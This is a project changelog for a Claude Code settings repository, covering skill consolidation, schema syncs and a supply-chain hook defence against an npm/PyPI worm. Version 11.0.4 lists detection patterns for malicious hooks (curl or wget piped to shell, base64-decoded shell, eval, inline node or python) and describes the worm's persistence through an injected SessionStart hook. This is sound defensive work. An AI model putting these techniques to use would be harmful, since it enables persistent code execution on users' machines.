src/hooks/statusline.ts— readsrate_limits.five_hour.resets_at(already in the Payload type, was unused). Computes delta from now, formats as2h14mor45m. Suppresses whenresets_atis missing or in the past. Dim-styled suffix appended after the existing percentage:⚡63% ↻2h14m.
agents.md: Cache Discipline section
Added explicit guidance for prompt-cache hygiene under Context Hygiene. Anthropic caches index by exact prefix match — small habits (model switching mid-task, editing CLAUDE.md during a session, reordering tool defs) silently trash cache hits. On flat-rate plans cache misses don't cost dollars but burn 5h-window quota and add latency. The section names the five most common patterns to avoid and notes how the existing compact-at-65% rule interacts with caching.
Files changed
src/hooks/statusline.tsAGENTS.mdsrc/setup.ts(VERSION 11.0.4 → 11.0.5)CHANGELOG.md
[11.0.4] — 2026-05-12
security: supply-chain hook defense (Shai-Hulud / npm worm pattern)
In May 2026 the "Mini Shai-Hulud" npm/PyPI worm compromised 172 packages across @tanstack, @mistralai, @guardrails-ai, @uipath, @opensearch-project. Persistence mechanism: post-install payload injects a SessionStart hook into ~/.claude/settings.json that re-executes on every Claude Code session and survives npm uninstall. cc-settings now ships three defenses against this attack class.
Added — Layer 1: Hooks-block fingerprint
src/lib/hooks-fingerprint.ts— canonicalize-then-SHA256 of the merged settings.jsonhooksblock. Key-reorder produces identical hash (canonicalization is stable); injected hooks change the hash.src/hooks/verify-hooks.ts— SessionStart hook. Re-hashes on every session, compares against~/.claude/.cc-settings-hooks-fingerprint. Silent on match; loud terminal banner on mismatch with remediation steps. Fail-open on any internal error (never blocks session start).src/setup.ts— writes the fingerprint afterinstallSettingssucceeds. Re-runningsetup.shrefreshes the fingerprint (the intended workflow when users intentionally customize hooks).config/40-hooks.json— wiresverify-hooks.tsas the first hook in theSessionStartchain (timeout 3s, runs beforesession-start.ts).
Added — Layer 2: Command auditor
src/lib/audit-hooks.ts— classifies every hook command in~/.claude/settings.jsonas trusted / unknown / suspicious. Trusted: matches the cc-settings shipped pattern (bun "$HOME/.claude/src/{scripts,hooks,lib}/<name>.ts") or a compound of those. Suspicious patterns flagged:curl|wget pipe to shell,base64 decode + shell,eval $(…),node -e,python -c,/tmp/<exec>, hiddennode_modules/.bin/,atob(…), opaque base64 blobs (>250 chars single-token, >85% base64-alphabet density).src/scripts/audit-hooks.ts— CLI, exits 1 on any suspicious finding.bun run audit:hooksscript entry inpackage.json.
Added — Layer 3: SECURITY.md threat model
SECURITY.md— documents the threat, the three defense layers, the allowlist convention (every cc-settings hook starts withbun "$HOME/.claude/src/…"), the false-positive workflow (re-runsetup.shto fingerprint custom hooks), the compromise-remediation workflow (backup → manual scrub → re-run setup.sh → rotate creds), and what cc-settings deliberately does not do (no auto-quarantine, no npm install blocking, no cryptographic signing). Sources: Snyk, Socket, StepSecurity, Wiz, The Hacker News, Mend.CLAUDE-FULL.md— one-paragraph reference under the existing Reference section.
Tests
tests/audit-hooks.test.ts— 23 cases. Trusted patterns (quoted/unquoted/compound$HOMEbun commands). Each suspicious pattern positive case. Unknown-but-not-malware cases. Settings-shape walking (event/group/hook indices preserved). File IO (missing file, malformed JSON, real shape). Report formatting.tests/hooks-fingerprint.test.ts— 16 cases. Canonicalization stability (key-reorder = same hash; array-reorder = different hash, by design). Round-trip write/read.hooksCountaggregation across groups. Atomic write (no.tmpresidue). Verify status table (match/mismatch/missing-fingerprint/missing-settings). Malformed settings.json surfaces as mismatch, not silent pass.
Design notes
- The auditor never refreshes the fingerprint. If it could, malware could call it to whitelist itself.
- The fingerprint is updated only by
setup.sh. This is the deliberate trust anchor — the human re-running setup is the "I've verified the current state" signal. - All cc-settings-shipped hooks match
bun "$HOME/.claude/src/…". New hooks added toconfig/40-hooks.jsonMUST follow this convention; if a third-party tool needs a hook, wrap it in asrc/scripts/<wrapper>.tsrather than referencing the binary directly. This invariant is what makes both the auditor and fingerprint work. - Detection is conservative: false positives (unknown) surface as warnings; only explicit malware-pattern matches exit non-zero. We'd rather make humans review than miss a real intrusion or block on benign custom hooks.
Files changed:
src/lib/audit-hooks.ts(new)src/lib/hooks-fingerprint.ts(new)src/scripts/audit-hooks.ts(new)src/hooks/verify-hooks.ts(new)tests/audit-hooks.test.ts(new)tests/hooks-fingerprint.test.ts(new)SECURITY.md(new)config/40-hooks.json(added verify-hooks to SessionStart chain)src/setup.ts(writes fingerprint after install; bumps VERSION)CLAUDE-FULL.md(added supply-chain defense section)package.json(addedaudit:hooksscript)CHANGELOG.md
[11.0.3] — 2026-05-12
tooling: skills linter + 40-skill soft cap + strict-spec cleanups
Reviewed Anthropic's "Complete Guide to Building Skills for Claude" (May 2026 PDF) against the 38-skill library. We comply with the spec across the board (kebab-case folders, exact SKILL.md casing, frontmatter contract, no README inside, descriptions well under 1024 chars), with three minor angle-bracket frontmatter instances that strict-compliance flagged. Built the linter the audit implied, fixed the cleanups, and codified the skill-count soft cap.
Added:
bun run lint:skills— mechanizes Reference A's validation checklist programmatically. Walksskills/*/SKILL.mdand reports per-skill findings by severity (error / warning). Lives insrc/lib/lint-skills.ts(logic) andsrc/scripts/lint-skills.ts(CLI). Rules enforced:- folder name kebab-case (
/^[a-z][a-z0-9-]*$/) - reserved-prefix check (
claude-*,anthropic-*, literalclaude/anthropic) - no
README.mdinside skill folder SKILL.mdexists (exact case)----delimited YAML frontmatter present and parseable- frontmatter passes
SkillFrontmatterzod schema - no
<or>chars in frontmatter (raw-text scan — catches passthrough fields likeargument-hint) - frontmatter
namematches folder name descriptionlength ≤ 1024 chars (error) / ≥ 50 chars (warning)descriptioncontains trigger language (Triggers,Use when,Use for, …) — warning when missing- skill count ≤ 40 (
SKILL_SOFT_CAP) — warning when crossed
- folder name kebab-case (
tests/lint-skills.test.ts— 17 new tests covering each rule's positive and negative paths. Total suite: 244 → 261 pass.- 40-skill soft cap policy (
CLAUDE-FULL.md) — Anthropic's guide flags 20–50 as the point where Skill-tool selection degrades. We sit at 38. Adding past 40 should require removing one; the linter surfaces the cap as a warning when crossed.
Strict-spec cleanups (cheap compliance wins):
skills/autoresearch/SKILL.md—argument-hint: "<skill-name>"→"[skill-name]"skills/lighthouse/SKILL.md—argument-hint: "<url>"→"[url]"skills/create-handoff/SKILL.md— descriptioncontext >80%→context over 80%skills/tldr/SKILL.md— descriptionAuto-invoke for→Use for(caught by the new linter's trigger-language heuristic; aligns phrasing with the rest of the library)
Why these (and not the rest of the guide)
cc-settings architecture is past the guide's single-file mindset — we have 38 skills, 25 agents, 11 path-conditioned rules, 5 profiles, hooks, and MCP config installed via git pull, not Claude.ai uploads. Most divergences from the guide are intentional (no scripts//references//assets/ subdir use, extra frontmatter fields like context, agent, requires, argument-hint). The three actions in this release are the only strict-spec gaps worth bridging.
Files changed:
src/lib/lint-skills.ts(new)src/scripts/lint-skills.ts(new)tests/lint-skills.test.ts(new)skills/autoresearch/SKILL.mdskills/lighthouse/SKILL.mdskills/create-handoff/SKILL.mdskills/tldr/SKILL.mdCLAUDE-FULL.mdpackage.jsonsrc/setup.tsCHANGELOG.md
[11.0.2] — 2026-05-12
standards: close three gaps surfaced by the 12-rule CLAUDE.md template
Reviewed Forrest Chang's 12-rule template (the one extending Karpathy's January 2026 4-rule baseline). Most rules duplicate existing cc-settings coverage — Anthropic's base system prompt covers "Think before coding" and "Simplicity first"; our Edit-after-Read requirement enforces "Read before write" mechanically; /checkpoint, /create-handoff, and /compact-at-65% beat hardcoded token budgets; rules/*.md path-conditioning beats "match conventions." Three gaps were real and worth bridging.
Added (AGENTS.md → installed at ~/.claude/AGENTS.md):
- Fail Loud guardrail — generalizes existing piecemeal honesty rules (Never Fake Measurements, Visual/Spatial Honesty). "Done" is wrong when anything was skipped, mocked, or unverified — surface it in the final message instead of glossing over partial completion.
- Surface Conflicts, Don't Average guardrail — when two existing patterns in the codebase contradict, pick the more recent/tested one and flag the other for cleanup. Never blend conflicting patterns into "average" code that satisfies both.
Added (agents/tester.md):
- Test Intent, Not Behavior principle — tests must encode why a behavior matters, not just what a function returns. A test that can't fail when business logic changes is testing the implementation, not the contract.
- Surface Skips principle — links back to Fail Loud guardrail; never silently
.skipor.onlya test.
Why these three (and not the other nine)
The post's other rules either duplicated what we already have (often more sharply) or operate at the wrong layer for our setup. cc-settings is past single-file CLAUDE.md mindset — path-conditioned rules/, skill architecture, and verification hooks do work that prose can't. Full evaluation in conversation log; not duplicated here.
Files changed:
AGENTS.mdagents/tester.mdsrc/setup.tsCHANGELOG.md
[11.0.1] — 2026-05-12
sync: Claude Code 2.1.139
Two new optional hook fields adopted into the schema. Nothing removed; nothing in cc-settings is made redundant by 2.1.139. All other 2.1.139 additions are native CLI/TUI features (claude agents, /goal, /scroll-speed, claude plugin details, transcript navigation) or runtime behavior (MCP CLAUDE_PROJECT_DIR, /mcp reconnect, compaction prompt) with no cc-settings surface to update.
Adopted:
CommandHook.args: string[]— exec form. When set, CC spawnscommanddirectly with this argv instead of via a shell. Safer for paths with spaces; removes shell-quoting fromcommand. (upstream 2.1.139.) Added tosrc/schemas/hooks.tsand documented indocs/hooks-reference.md.HookCommon.continueOnBlock: boolean— PostToolUse-only. When the hook returns a block signal, the turn continues anyway (the block surfaces in context but doesn't abort). Use for soft warnings. (upstream 2.1.139.) Added tosrc/schemas/hooks.tsand documented indocs/hooks-reference.md.
Deletions / Native-now-redundant:
- None.
Files changed:
src/schemas/hooks.tsdocs/hooks-reference.mdupstream/claude-code-manifest.jsonsrc/setup.tsCHANGELOG.md
[11.0.0] — 2026-05-11
refactor: drop pinchtab, single browser-automation surface (chrome-devtools MCP)
Major version bump because this removes a published skill (/pinchtab) and an installed CLI dependency. The browser-automation surface is now exclusively the chrome-devtools MCP server, which is richer (CDP, perf traces, network, console, lighthouse, screenshots, a11y snapshots, clicks, fills) and integrates with ENABLE_TOOL_SEARCH so its descriptions don't burn context when idle.
What changed
skills/pinchtab/deleted — the/pinchtabslash command no longer exists. Skill count 39 → 38.src/setup.ts— removednpm i -g pinchtabfrominstallDependencies. Fresh installs no longer touch global npm for this.config/30-permissions.json— droppedBash(pinchtab:*)allow rule.skills/qa/SKILL.md— rewritten to callmcp__chrome-devtools__*tools (navigate_page, take_snapshot, take_screenshot, click, fill, hover, press_key, resize_page, evaluate_script). Workflow + tool cheat-sheet updated.skills/figma/SKILL.md— removed the Figma desktop CDP integration (brittle, required--remote-debugging-portand a separate pinchtab profile). Figma MCP remains the canonical interface for design data; chrome-devtools MCP screenshots the running implementation only. Documented the deliberate choice ("Figma MCP is the canonical Figma interface — don't screenshot it").skills/lighthouse/SKILL.md— visual-regression and baseline screenshots now usemcp__chrome-devtools__take_screenshotinstead ofpinchtab screenshot. ThelighthouseCLI is still required (for the batched 3×3 averaged audit protocol); the MCP server'slighthouse_auditis a quicker alternative for ad-hoc runs.agents/tester.md— E2E section rewritten: testing stack now listschrome-devtools MCPin place ofpinchtab (E2E/visual tests). Both pinchtab blocks (testing-stack list + workflow example) converted to MCP tool calls.hooks/verification-check.md— "UI Screenshot" verification step referencesmcp__chrome-devtools__take_screenshot.rules/accessibility.md— "Tools" section referencesmcp__chrome-devtools__take_snapshot(text-based a11y tree) instead ofpinchtab snap.profiles/webgl.md— Visual QA row points at/qa(chrome-devtools MCP).src/scripts/post-edit.ts— post-edit hint updated to "Run /qa to validate via chrome-devtools MCP".tests/install-e2e.test.ts—CC_SKIP_DEPS=1comment no longer mentions pinchtab.- Doc tables —
MANUAL.md,README.md,USAGE.md,skills/README.md,docs/settings-reference.md,docs/frontmatter-reference.md(skill listings,Bash(pinchtab:*)permission line, "Skills usingfork" list, "All Skills" table row) all cleaned of/pinchtabreferences.
Migration for existing users
Re-run setup.sh (or /cc-update). The installer overwrites ~/.claude/ from the repo, so skills/pinchtab/ will be removed on next install. The global pinchtab npm package will linger on your machine — uninstall it manually with npm uninstall -g pinchtab if you want it gone. Existing prompts that reach for /pinchtab should now reach for /qa (structured review) or call mcp__chrome-devtools__* tools directly.
refactor: compress 38 skill descriptions (8072 → 6732 chars, −17%)
The Skill tool's selector reads every skill description into context on every turn. Trimming the description budget reduces per-session overhead. No trigger keywords were removed — only redundant prose, "formerly /X" breadcrumbs that have moved to skill bodies, and over-qualified "for Y use /Z" notes that the model can infer from context.
Top compressions:
| Skill | Before | After | Δ |
|---|---|---|---|
| create-handoff | 365 | 233 | -132 |
| orchestrate | 363 | 227 | -136 |
| checkpoint | 350 | 246 | -104 |
| explore | 336 | 235 | -101 |
| compare-approaches | 294 | 248 | -46 |
| qa | 282 | 234 | -48 |
| long-task | 291 | 207 | -84 |
| build | 261 | 199 | -62 |
20 other skills got smaller per-description reductions. The 5 shortest (lenis, init, ship, ask, refactor) were already lean — left alone.
docs: MCP _status audit
Phase 3 of the rebuild. Audited every server's _status: core claim against actual usage in shipped skills/agents/hooks/rules/docs. All 4 servers in config/20-mcp.json are correctly classified: chrome-devtools (59 refs after the pinchtab drop), tldr (38), context7 (8), figma (4). The 5th server in mcp-configs/recommended.json (Sanity) is core despite 0 references in shipped code — but Sanity is a Darkroom stack baseline (per-user auth means it lives in ~/.claude.json, not the shipped MCP config), so the classification is correct. No reclassifications needed.
refactor: profile shrink evaluated, declined
Phase 2 of the rebuild was to extract a profiles/_base.md from the 5 stack profiles. Delegated to an implementer agent; the agent's honest report: profiles share almost no verbatim content (only ~15 lines of true overlap between nextjs.md and react-router.md). A _base.md extraction would net +51 total lines for marginal abstraction value. Decision: do not extract. Re-evaluate if a 6th profile is added or if real overlap accumulates.
What v11.0.0 doesn't change
- All zod schemas — unchanged
- All agents (except tester.md content edit) — unchanged
- All hooks (except verification-check.md content edit) — unchanged
- All MCP server configs (except dropping pinchtab references) — unchanged
Files changed (30):
skills/pinchtab/SKILL.md(deleted)skills/{qa,figma,lighthouse}/SKILL.md(rewritten to use chrome-devtools MCP)skills/{create-handoff,orchestrate,checkpoint,explore,compare-approaches,long-task,qa,build,figma,cc-sync,cc-update,autoresearch,project,context-doc,consolidate,docs,learn,verify,tdd,write-a-skill,tldr}/SKILL.md(description compression)src/setup.ts(removed pinchtab install; VERSION 10.13.0 → 11.0.0)src/scripts/post-edit.ts(post-edit hint)config/30-permissions.json(dropped pinchtab Bash rule)agents/tester.md(E2E section rewritten)hooks/verification-check.md(UI Screenshot row)rules/accessibility.md(Tools list)profiles/webgl.md(Favored Tools row)tests/install-e2e.test.ts(CC_SKIP_DEPS comment)MANUAL.md,README.md,USAGE.md,skills/README.md,docs/settings-reference.md,docs/frontmatter-reference.md(table + listing updates)CHANGELOG.md
[10.13.0] — 2026-05-11
refactor: skill consolidation — 42 → 39 skills, 3 renames, 5 trigger tightenings
Post-congruence audit (via /consolidate) found three skills that were stubs or duplicates of existing capabilities, three names that obscured their function, and five trigger-keyword collisions. All actioned. Behavior preserved everywhere — every removed or renamed skill's functionality lives on under a different name, with backward-compatibility breadcrumbs in MANUAL.md / README.md / SKILL.md descriptions.
Drops / merges (4 → 1 skill removed, 3 folded into siblings):
audit— broken YAML (description: |with no value). Description rewritten to a single line clarifying it's slash-only.teams— merged intoorchestrate. The 22-line stub was a parallel-fan-out specialization of the samemaestrodelegation. Body folded into a "When to Fan Out (Teams mode)" section inorchestrate/SKILL.md. Triggers migrated.zoom-out— merged intoexplore. Self-described as "Counter to /explore" — it was a focused mode, not a separate skill. Body folded into an "Upward-zoom mode" section inexplore/SKILL.md. Triggers migrated.context— runbook folded intocreate-handoff. Trigger "compact" collided with the native/compactcommand; "context window" / "running out of context" triggers moved tocreate-handoff. The full context-window runbook (statusline thresholds, model degradation table, structured compaction template, post-compaction validation, proactive reduction tips) is now a final section increate-handoff/SKILL.md.
Renames (3) — names now match function:
f-thread→compare-approaches—f-threadwas a Darkroom-internal label. New name is self-documenting and matches the trigger phrases.l-thread→long-task— same opacity problem. New name distinguishes from thet*cluster (tldr/teams/tdd/test) it used to crowd into alphabetically.debug→pinchtab— the skill is not general debugging, it's a wrapper around thepinchtabCLI. The misleading name was stealing invocations from/fixvia the "bug"/"broken" trigger words.
Trigger tightening (5) — eliminates collisions:
build— removed the word "component" from the description (it was stealing from/component)pinchtab(wasdebug) — dropped generic "bug"/"broken" terms; restricted to visual/UI/E2Eqa— dropped "validate" (now reserved for/verify); lead with "Visual + a11y QA"checkpoint— clarified scope to mid-task rollback before risky operations; moved "save progress" outcreate-handoff— leads with end-of-session boundary; absorbs context-window triggers from former/context
Inbound references updated (no broken links):
agents/maestro.md— FBPCL framework lines now reference/compare-approachesand/long-taskagents/planner.md,agents/security-reviewer.md,rules/ui-skills.md— paths to relocated reference docs (carried over from v10.12.1)docs/thread-types.md— skill file paths updateddocs/frontmatter-reference.md—fork/inheritskill lists, agent-delegation table, "All Skills" tablehooks/README.md— checkpoint.md / verification-check.md cross-referencesMANUAL.md,USAGE.md,README.md,skills/README.md— all trigger tables, slash command references, and prose mentions
Conceptual names preserved: docs/thread-types.md retains "F-Thread" and "L-Thread" as section headers — these are the FBPCL framework categories (Fusion / Long-duration), distinct from the slash command names. Only the implementation pointers (See: skills/.../SKILL.md) were updated.
Result: 42 → 39 skills. No functionality lost; every former skill has either a renamed home or a fold-in target with its triggers preserved.
Files changed (16):
skills/audit/SKILL.md(YAML fix)skills/orchestrate/SKILL.md(teams folded in)skills/explore/SKILL.md(zoom-out folded in)skills/create-handoff/SKILL.md(context runbook folded in)skills/teams/SKILL.md(deleted)skills/zoom-out/SKILL.md(deleted)skills/context/SKILL.md(deleted)skills/f-thread/→skills/compare-approaches/(renamed + frontmatter updated)skills/l-thread/→skills/long-task/(renamed + frontmatter updated)skills/debug/→skills/pinchtab/(renamed + frontmatter + clarifying body)skills/build/SKILL.md(trigger tightening)skills/qa/SKILL.md(trigger tightening)skills/checkpoint/SKILL.md(trigger tightening)agents/maestro.md(FBPCL slash-command refs)docs/thread-types.md(skill file paths)docs/frontmatter-reference.md(three tables)hooks/README.md,skills/README.md,MANUAL.md,USAGE.md,README.md(skill listings + trigger tables)src/setup.ts(VERSION 10.12.1 → 10.13.0)CHANGELOG.md
[10.12.1] — 2026-05-11
docs: document 13 schema keys + relocate reference docs to docs/
Post-sync congruence pass surfaced two pre-existing gaps that predated v10.12.0:
docs/settings-reference.md — 13 keys from src/schemas/settings.ts had no dedicated section. Added concise sections (each with a json snippet) for:
showThinkingSummaries,autoScrollEnabled,changelogUrldisableAllHooks,disableAutoMode,disableBypassPermissionsMode,disableSkillShellExecution,disableDeepLinkRegistrationchannelsEnabled/allowedChannelPlugins(paired)allowedMcpServers/deniedMcpServers(paired)feedbackSurveyRate
Documentation now matches schema 1:1 — every top-level key in Settings (zod) has either a dedicated ### key section or is the subject of a top-level section (Permissions, MCP Server Configuration, Hook Configuration).
Reference docs relocated — four .md files that lived at the root of skills/ were not skills; they were reference material that agents/*.md and rules/*.md linked to. Moved to docs/ where reference docs belong, since skills/ is for <name>/SKILL.md directories used by the Skill tool:
skills/accessibility.md→docs/accessibility.mdskills/architecture-reference.md→docs/architecture-reference.mdskills/security-reference.md→docs/security-reference.mdskills/seo-reference.md→docs/seo-reference.md
Inbound references updated atomically in rules/ui-skills.md, agents/planner.md, agents/security-reviewer.md. Files are still copied to ~/.claude/docs/ by installConfigFiles (which iterates ["agents", "skills", "profiles", "rules", "contexts", "hooks", "docs"]) — no installer change required, only the relative path in the inbound references.
Files changed:
docs/settings-reference.md(13 new###sections inserted before## Permissions)docs/accessibility.md(moved fromskills/)docs/architecture-reference.md(moved fromskills/)docs/security-reference.md(moved fromskills/)docs/seo-reference.md(moved fromskills/)rules/ui-skills.md(path update)agents/planner.md(path update)agents/security-reviewer.md(path update)src/setup.ts(VERSION 10.12.0 → 10.12.1)CHANGELOG.md
[10.12.0] — 2026-05-11
feat: sync upstream to Claude Code 2.1.138 — 3 new top-level settings, 6 new env vars
Upstream 2.1.129 → 2.1.138 ships three new top-level settings, a new permissions-nested array, two new sandbox path overrides, six new env vars, and a new hook JSON input field. The rest of the ~80 upstream entries in this range are bug fixes that don't overlap with cc-settings hooks, scripts, or schemas — no dedupe required.
Adopted (schema):
worktree.baseRef(v2.1.133) —fresh|headchooses whether--worktree,EnterWorktree, and agent-isolation worktrees branch fromorigin/<default>(fresh, the new default) or localHEAD(head). The new default reverts the 2.1.128 change we tracked in v10.11.2 —EnterWorktree's base wentorigin/<default>→ local HEAD in 2.1.128, then back toorigin/<default>in 2.1.133. Users who relied on the 2.1.128 behavior (carrying unpushed commits into worktrees) should setworktree.baseRef: "head"explicitly.src/schemas/settings.tsextends the existingworktreeblock with a strictbaseRefenum.skillOverrides(v2.1.129) — per-skill record,off|user-invocable-only|name-only. Previously documented but non-functional; the v2.1.129 bug fix made it real.src/schemas/settings.tsadds a strictz.record(string, enum).parentSettingsBehavior(v2.1.133, admin-tier) —'first-wins' | 'merge'for SDKmanagedSettingspolicy participation.src/schemas/settings.tsadds a strict enum.permissions.autoMode.hard_deny(v2.1.136) — array of permission rules that block unconditionally regardless of user intent or allow exceptions.src/schemas/permissions.tsAutoModeConfignow documents the field; the existing.passthrough()already accepted it at install time, but now editor IntelliSense surfaces it.sandbox.bwrapPath/sandbox.socatPath(v2.1.133) — Linux/WSL managed overrides for bubblewrap and socat binary locations.src/schemas/settings.tsSandboxdocuments both; passthrough already accepted them.
Adopted (manifest):
upstream/claude-code-manifest.json—claudeCodeVersion2.1.128 → 2.1.138,lastScan2026-05-11.knownSettingsKeys+=parentSettingsBehavior,skillOverrides,worktree.knownEnvVars+=CLAUDE_CODE_DISABLE_ALTERNATE_SCREEN,CLAUDE_CODE_ENABLE_FEEDBACK_SURVEY_FOR_OTEL,CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY,CLAUDE_CODE_FORCE_SYNC_OUTPUT,CLAUDE_CODE_PACKAGE_MANAGER_AUTO_UPDATE,CLAUDE_CODE_SESSION_ID.
Adopted (docs):
docs/settings-reference.md— env table gains the 6 new env vars (with version annotations),sandboxtable gainsbwrapPath/socatPath,worktreesection gainsbaseRef, new sectionsskillOverrides/parentSettingsBehavior, and a newpermissions.autoModesubsection documentshard_deny.docs/hooks-reference.md—$CLAUDE_EFFORTenv var is now exposed to Bash subprocesses and to hook scripts; JSON input gainseffort.level(v2.1.133). New "Effort Level in JSON Input" subsection.
Deletions / Native-now-redundant: none. None of the 2.1.129 → 2.1.138 fixes overlap with cc-settings workarounds — the upstream Bash(mkdir *) / Bash(touch *) allow-rule fix (v2.1.129) honors patterns we already had in config/30-permissions.json without any change on our side.
Skipped (notable): VS Code activation fix (2.1.137), VS Code/Mantle gateway fixes (2.1.131), ~50 bug fixes in 2.1.136 (login race, MCP OAuth refresh, plan-mode Edit allow rule, /usage, plugin slugs, BG color artifacts, etc.), 2.1.133 misc fixes (parallel 401, drive-root rules, mapped drives, subagent skill discovery, etc.), 2.1.132 misc fixes (SIGINT, surrogates, paste, vim NFD, fullscreen sleep/wake, MCP stdio runaway, Bedrock 400), 2.1.129 CLI flags (--plugin-url) and plugin manifest themes/monitors reorg (cc-settings ships no plugin manifest).
Files changed:
src/schemas/settings.ts(new fields:worktree,skillOverrides,parentSettingsBehavior,Sandbox.bwrapPath,Sandbox.socatPath)src/schemas/permissions.ts(new field:AutoModeConfig.hard_deny)upstream/claude-code-manifest.json(version + scan date + 3 settings keys + 6 env vars)docs/settings-reference.mddocs/hooks-reference.mdsrc/setup.ts(VERSION 10.11.2 → 10.12.0)CHANGELOG.md
[10.11.2] — 2026-05-05
chore: sync upstream tracking to Claude Code 2.1.128 (no schema impact)
Tracking-only sync. Upstream 2.1.128 is overwhelmingly bug fixes (30+) plus a handful of small UX/CLI changes. None require schema changes, hook event additions, or new env var tracking. (2.1.127 was skipped upstream.)
Adopted: none — no new schema-relevant surface area.
Deletions / Native-now-redundant: none — nothing in cc-settings is subsumed by 2.1.128.
Notable upstream changes (no cc-settings impact, recorded for reference):
--channelsnow works with console (API key) auth; managed-settings orgs must setchannelsEnabled: true. Schema comment onsrc/schemas/settings.tschannelsEnabledupdated to note this.- MCP:
workspaceis now a reserved server name. Verified no shipped cc-settings MCP config (config/20-mcp.json,mcp-configs/) uses that name. - Subprocesses (Bash, hooks, MCP, LSP) no longer inherit
OTEL_*env vars. cc-settings already exposes the relatedCLAUDE_CODE_SUBPROCESS_ENV_SCRUBknob; no change needed. EnterWorktreenow creates branches from local HEAD as documented (was branching fromorigin/<default>). cc-settings does not invoke this tool from any skill or hook; onlyskills/cc-update/SKILL.mdreferencesorigin/main, and that is for our own update flow, unrelated.- ~25 other bug fixes (focus mode, OSC 9 desktop notification, drag-drop, fenced-code-block clipboard whitespace, vim NORMAL-mode
Space, Bedrock default-model prefix, parallel shell tool calls, sub-agent prompt caching, etc.) — all bug fixes with no cc-settings overlap.
Manifest: upstream/claude-code-manifest.json bumped (claudeCodeVersion 2.1.126 → 2.1.128, lastScan 2026-05-05). No additions to knownSettingsKeys, knownHookEvents, knownHookTypes, knownEnvVars, knownPermissionModes, knownMcpTransports, or knownBuiltinTools.
Files changed:
upstream/claude-code-manifest.jsonsrc/schemas/settings.ts(comment only)src/setup.ts(VERSION bump)CHANGELOG.md
[10.11.1] — 2026-05-04
fix: $schema must be the schemastore URL — Claude Code skips the entire settings.json otherwise
Clean installs were silently losing every setting (env vars, statusLine, hooks, permissions) because config/10-core.json declared $schema as https://raw.githubusercontent.com/darkroomengineering/cc-settings/main/schemas/settings.schema.json — the cc-settings extended schema. Claude Code's settings validator only accepts https://json.schemastore.org/claude-code-settings.json and skips the whole file on any other value. Symptom in the wild: a clean install of Claude + cmux + cc-settings produced an empty statusline and a "Settings Error" banner.
Fixed by switching config/10-core.json to the canonical schemastore URL. cc-settings's own extended schemas (agent.schema.json, hooks-config.schema.json, skill.schema.json, claude-json.schema.json) remain published and used for non-settings files, where editor IntelliSense isn't gated by Claude Code's runtime check. docs/settings-reference.md updated to document the constraint so the broken pattern doesn't get re-copied.
[10.11.0] — 2026-05-04
feat: MCP servers — _status: core | optional annotation; install summary groups by status
A new team member could install cc-settings, see 5 MCP servers in ~/.claude.json, and have no way to tell which were the team baseline vs which were the previous owner's preferences. The _status annotation closes that.
Schema — src/schemas/mcp.ts _status field changed from "installed" | "optional" to "core" | "optional". Existing values renamed for clarity (installed was ambiguous — installed by whom, into what).
Configs annotated:
config/20-mcp.json— every shipped server (context7,tldr,figma,chrome-devtools) now declares_status: "core".mcp-configs/recommended.json— every server inmcpServers(5) iscore; every server inoptionalMcpServers(3) isoptional.
Install-summary surface (src/setup.ts showSummary):
MCP servers in ~/.claude.json:
core:
- context7
- tldr
- figma
- chrome-devtools
- Sanity
optional (manually added):
- github
user-added:
- my-internal-server
The three buckets — core, optional, user-added (no _status field) — make it obvious which servers came from cc-settings, which the user added from the optional list, and which are the user's own (custom team-internal MCPs etc.).
MANUAL.md — new "MCP servers (core vs optional)" section under "Advanced". Tables enumerate each core server's purpose + which skill(s) use it, and each optional server's "why optional" rationale.
Files changed:
src/schemas/mcp.ts—_statusenum updated, comment block explaining the field.config/20-mcp.json—_status: "core"on all 4 servers.mcp-configs/recommended.json— renamedinstalled→core, addedoptionalto the 3 optionalMcpServers entries.src/setup.ts—showSummarynow groups MCP servers by_status(3 buckets).MANUAL.md— new MCP servers section.schemas/{skill,agent,claude-json}.schema.json— regenerated.src/setup.ts—VERSION10.10.3 → 10.11.0.
[10.10.3] — 2026-05-04
ci: dedicated install-e2e + bash-bootstrap jobs
CI's test matrix already runs tests/install-e2e.test.ts on ubuntu-latest / macos-latest / windows-latest — install failures were technically caught, just buried among 240+ unrelated tests. Two new jobs surface them as their own PR checks:
install-e2e(Ubuntu + macOS) — runstests/install-e2e.test.tsandtests/golden-migrations.test.tsin isolation. Fastest signal when an install regression lands.install-bash-bootstrap(Ubuntu + macOS) — runsbash setup.sh --dry-runto validate the bootstrap path itself (the bash wrapper that ensures Bun is installed before exec'ingbun src/setup.ts). Catches bash-specific bugs that the direct-bun path misses.
Windows is excluded from both — it goes through setup.ps1, which has its own (currently untested) bootstrap and its own escape hatches. Closing that gap is a separate task tracked in docs/migration-coexistence.md.
Files changed:
.github/workflows/ci.yml— two new jobs added.src/setup.ts—VERSION10.10.2 → 10.10.3.
[10.10.2] — 2026-05-04
chore: self-/consolidate audit logged
Ran /consolidate on cc-settings' own surface (42 skills + 10 agents + 11 rules + 5 profiles). The methodology in skills/consolidate/SKILL.md was applied to the repo itself: trigger overlap audit, rule contradiction audit, discoverability check.
Decision: no merges, no retirements this cycle. The 9 intent clusters identified all sit at distinct specificity levels. The v10.4.0 stack-aware refactor already restructured the rules with explicit foundation/extension cross-references; further splitting would dilute, merging would create unwieldy multi-purpose files.
Full audit findings + trigger criteria for the next cycle are in docs/consolidation-audits/2026-05.md. Audit recommended at Q3 2026, or when surface counts cross documented thresholds (skills >50, rules LOC >2500), or on overlap signals.
Files changed:
docs/consolidation-audits/2026-05.md— new audit log (first in series).src/setup.ts—VERSION10.10.1 → 10.10.2.
[10.10.1] — 2026-05-04
docs: explicit Bun requirement; Node fallback dropped from the plan
A probe of the proposed Node 22 LTS fallback (P2.C of the cc-settings improvement plan) revealed the codebase is more deeply Bun-coupled than initial scoping suggested: Bun.spawn, Bun.which, Bun.file, import.meta.dir are used across 30+ files including every hook script. Porting via a runtime-abstraction layer is realistic but multi-day work — out of scope for Phase 2's "quick wins + medium refactors" frame.
Decision: drop the Node fallback. Bun is required, period. MANUAL.md's Quickstart now states this explicitly so users on locked-down environments learn the requirement upfront instead of mid-bootstrap.
The setup.sh bootstrap still auto-installs Bun via curl -fsSL https://bun.sh/install | bash for users with curl access. Corporate sandboxes that block curl-installs need a manual Bun install first.
Future-leaning: if a Node fallback is ever needed, the right path is a src/lib/runtime.ts abstraction layer that wraps Bun.spawn/Bun.which/etc. with Node-compatible fallbacks, then a pre-built dist/ shipped with the repo. That's a P3+ project, tracked separately if/when a use case emerges.
